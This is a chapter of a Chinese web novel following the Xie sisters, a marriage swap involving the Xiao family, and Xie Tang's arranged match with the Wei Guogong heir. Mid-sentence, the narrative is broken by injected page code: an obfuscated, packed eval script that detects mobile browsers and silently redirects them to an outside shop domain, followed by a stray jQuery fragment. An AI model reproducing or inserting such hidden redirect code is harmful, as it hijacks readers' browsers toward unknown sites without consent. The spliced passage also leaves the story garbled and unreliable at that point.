祠堂内。
一夜过去,天边泛起了牙白。
祠堂内只有两个姑娘的呼吸声。
“不、不要!”
一声痛苦的呢喃声出现在安静的祠堂中。
谢棠睡眠浅,一下子就被这声音给弄醒了。
往身旁一看,谢辞盈脸颊通红,口中喃喃念着呓语。
“三妹妹,三妹妹。”谢棠伸手一摸,谢辞盈的额头滚烫。
谢辞盈眼睛睁开了一条缝,便又闭上了。
谢棠见状,连忙起身哀求守门的嬷嬷,“嬷嬷,求你告知母亲一声,我要见她。”
谢辞盈脑子昏昏沉沉的,陷入画面中醒不过来。
梦里,她身处一个完全陌生的屋子内。
她的身体好像比现在更弱了,每说几句话,都忍不住咳嗽。
隔着一张书案,她与站在对面的男人争吵。
耳边全是争吵时的声音,她听不清,只能感受到自己胸中的不甘和委屈。
对面的人是她的夫君。
她很笃定这一点,但是在梦里她看不清这个人的脸。
争吵愈发升级,对面的男人扯住她的手腕将她向前拽。
啪——
她伸出另一只手,掌锢了对方。
迎接她的是对方的暴怒的吼叫声。
谢辞盈从梦中猛地惊醒。
梦中的场景在记忆中如潮水般散去,只留下了最后那一巴掌的画面。
她的右手隐隐发麻,就像她真的甩了人一巴掌一样。
是梦。只是一个梦。
熟悉的浑身酸痛和头脑发昏的感觉接踵而至,都在提醒谢辞盈她病了这件事。
看到了熟悉的床幔,她已经回到了知微堂。
秋棠偎在窗边给她擦着额头上的汗,连忙惊喜道:“娘子你醒了!”
“什么时辰了?”谢辞盈一开口,声音是止不住得沙哑。
一说到这,秋棠眼眶都红了,“现在是酉时了。娘子,您烧了三天了。都怪我,如果我当时给娘子再带厚一点的衣服就好了……”
“别说这话。”谢辞盈拍了拍秋棠的手,“父亲将我放出来了?二姐姐呢?”
“是二姑娘求了夫人将您放出来的……”秋棠答道。
春杏从外面端着一碗药进来,惊呼声打断了秋棠的话:“娘子!你醒了!”
谢辞盈点了点头,头还是有些蒙。
“二姐姐去求了夫人?”谢辞盈撑起身体,靠在床头,接过春杏手中的药碗。
药已经放到了合适的温度,谢辞盈小口小口地饮下,就听到一旁的秋棠继续说……
“二姑娘去求了夫人,坦诚了她和卫国公世子的私情……”
谢辞盈一时不防,药水呛在喉咙处,开始疯狂咳嗽。
“什么?”谢辞盈难以置信。
怎么可能!那个最看重规矩的二姐姐?!她在祠堂都腰板挺直,不肯做出放松姿态!
二姐姐这辈子做过的最疯狂的事,就是相信了大哥的承诺,然后被打发去庙里三年。
都已经在最亲的人身上吃过一次亏了,谢棠怎么可能还与人私定终身?
就算她和卫国公世子早有私情,又何必要在此时说出?坐等卫国公世子提亲就是。
倘若卫国公世子不提亲,她这样说,传出去不得落得一个不知廉耻的名声,又该如何在这京中活下去?
秋棠连忙给谢辞盈拍后背,“娘子你慢点。”
谢辞盈咳嗽到嗓子发疼,终于缓过劲来,“此事当真?”
“当真!二姑娘拿出了世子的贴身玉佩,说是在庙里就私授终身。老爷气疯了,还打了二姑娘。”秋棠眉心紧锁,“大少爷当即就发了疯,在夫人那里胡闹,现在大少爷和二姑娘都被禁足了。”
春杏也在一旁疯狂点头。
谢辞盈倒吸一口冷气。
她病的这三天,发生了这么多事情吗?
“二姐姐虽然这么说,只要没传出府……终究是府内的私事,当不得真。”
秋棠摇了摇头,“娘子,是真的。卫国公夫人昨天已经来府里求亲了。老爷已经应下了。”
谢辞盈拧起了眉头,总觉得这件事有些不对劲。
春杏安慰道:“娘子,其实这是好事呀。二姑娘嫁与那卫国公世子,也算是高嫁。而且二姑娘定了婚事,娘子和萧二公子应该也能顺利完婚了。”
谢辞盈将剩下的药一饮而尽,嘴里满是苦涩的草药味,“萧青安心已经变了,我又何必强求。”
她早已习惯了这个味道,早就不会为这些事情烦心。
春杏心思单纯,更是有些乐观在身上。尤其是看多了那才子佳人的话本子,最喜欢那些父母棒打鸳鸯后、才子佳人反抗父母、不离不弃的爱情话本。
娘子病重这三天,春杏想了很多,最后得出来一个结论,“萧家想换亲,定然也是萧大人和萧家夫人想换。也许那画根本没到萧二公子手中,娘子是否要先问问二公子心意,再做决断?”
谢辞盈心不在焉地点了点头,满心满眼都是谢棠的事情。
至于那萧青安,萧父萧母虽然独断专行,但是最看重这个儿子,从小到大,萧青安求个什么,萧父萧母没有不依的。倘若萧青安不愿意,早就闹翻了天了,也不至于这些天一点只言片语都没有。
倒是她二姐姐这婚事,到底是怎么回事?
---
萧府。
那卫国公世子大张旗鼓地求娶谢家二姑娘的事,很快便传遍了整个京城,萧府自然也听说了。
这不,萧府立刻对谢府写了帖子,请谢益忠来府中一聚。
堂厅中,谢父和萧父相峙而坐。
“谢大人,二姑娘既然已经有了婚约。”萧父手里捏着一封家信,率先开口,“要不这换亲,便罢了吧。”
谢益忠身形一滞,“家中还有小女。萧大人甘愿令公子娶那三丫头?”
萧父叹了一口气。
他何尝不想换亲,这谢益忠虽然只是五品官,但对萧家来说,也是助力。
若是娶了那谢辞盈,这便真真是、毫无帮助了。
只是……
“今日,府上收到了一封家书。”萧父将手中书信递给了谢父。
谢父展开看了看,脸色骤然变得难看。
信来自萧家长子萧峙渊,讲述了他即将归家的消息。信中还特意问询这门亲事,并且说道,他游历多年,老侯爷的部下,无人不知道三姑娘救老侯爷之事,还特意询问他两家的亲事。
这简直就是专门来提醒这件事!
谢益忠将信甩在一旁的桌子上,没想到,定远侯去世之后,竟然还有人关心那个丫头。
老侯爷的部下各方武将,也都身处要位,若是传到圣上耳朵里……
他是想与萧家结亲,但是说实话,萧家目前的位置,也不值得他费这么大的心力来攀亲。
他本来留着四丫头,想与那……
但是……谁都可以过得好……只有那谢辞盈不行,他不能接受。
“萧大公子如今在何处任职?”谢益忠眸中闪过阴鸷,萧大公子的名声,他也有所耳闻。
萧父脸上露
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17719582|208587||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
出一个尴尬的笑意,“他无心仕途、早些年被我父亲打发了出去。想来是在各方游历吧。”
谢益忠心气顺了不少,“那萧大公子也未定亲了?那不若,让萧大公子来娶那三丫头?这也是一件美事。”
萧父一愣,开始认真思考这个提议。
萧峙渊站在房顶之上,下面的声音一字不漏地传了上来,身后是一脸不愿意的惊云。
什么意思啊,二公子不想要的人,让他将军来娶?
虽然他很喜欢谢三娘子这个人,但是谢三娘子心中有人,还是将军的亲弟,怎么看都配不上将军。
他们将军,那可是连公主都配得上的。
将军也真是的,不就是查了查那个谢大人想将谢三娘子嫁过去的人,发现是个不学无术的泼皮无赖,就写了信回家提醒。
结果,这不是给自己图惹一身腥吗?
惊云就这样想着,萧峙渊的哼笑传到他的耳朵里。
看!将军都被那萧家人气笑了!
---
谢府。
谢棠院子内。
谢棠身上挨了谢父的好几棍子,昏昏沉沉地趴在床上。
门口已经被谢家下人看住,她被禁足了。
但是她的目的,达到了。
屋外,有人使着轻功落地,看着满院子的杂草和一个奴婢都没有的庭院,啧了一声。
他大摇大摆地推开房门,看着躺在床上气息微弱的谢棠,拧了拧眉。
谢棠抬起头,看到了这个闯入她房间的不速之客。
不速之客嫌弃地扫了扫她屋子旁的凳子上的灰,毫无形象坐了上去,腿撑在一旁的书案上。
“为了嫁我,你都把自己弄成这样了?”
来人便是那卫国公世子——秦玄清。
谢棠笑了笑:“多谢世子应我请求。”
秦玄清把头一偏,没有继续看谢棠这个笑,“我可不是喜欢你。只是你曾经救我一命,我答应了会应你一个请求。我是守信之人。”
谢棠笑容不减,“是,我知道世子是守信之人。多谢世子。”
秦玄清手指摩挲了一下袖口,又道,“我此生都不想娶妻,你也别指望婚后我会什么关切爱护、相敬如宾。”
“这是自然。”谢棠语气没有一丝委屈与失落,“正如我信中所说,我们互不干涉。三年后,我便会假死离开。世上再没有谢棠这个人。”
听到谢棠这么说,秦玄清脸反而有些阴沉,看起来并不开心。
“自讨苦吃。”
谢棠心中苦笑,她无法接受自己嫁给妹妹的夫君,也无法接受母亲的怨恨、父亲的算计。
想来,如果秦玄清不答应,她直接被父亲打死,也是好的。
只要她没办法嫁给萧二公子,以父亲对四妹妹的喜爱,想来不会让四妹妹换嫁过去,三妹妹便能如愿以偿了。
秦玄清一直不说话,谢棠只觉得愈发疲惫。
也不知道那秦大公子大晚上翻她院子干嘛,非要看她这狼狈样子。
只听那秦玄清冷哼了两声,在她手中塞了一个瓷瓶,“这是伤药。你我婚期将近,你连床都下不来,如何成亲?”
谢棠摸着手中冰冷的瓷瓶,露出了一个真情实感地笑,“多谢世子。”
秦玄清撇过脸去,没再多说什么,离开了。
---
芙蓉堂中。
谢家四姑娘谢青朝这几天的猜测和困惑,终于得到了证实。
父亲前来芙蓉堂,带着她最喜欢的糕点,用最温和的语气问,她是否想嫁与那萧青安。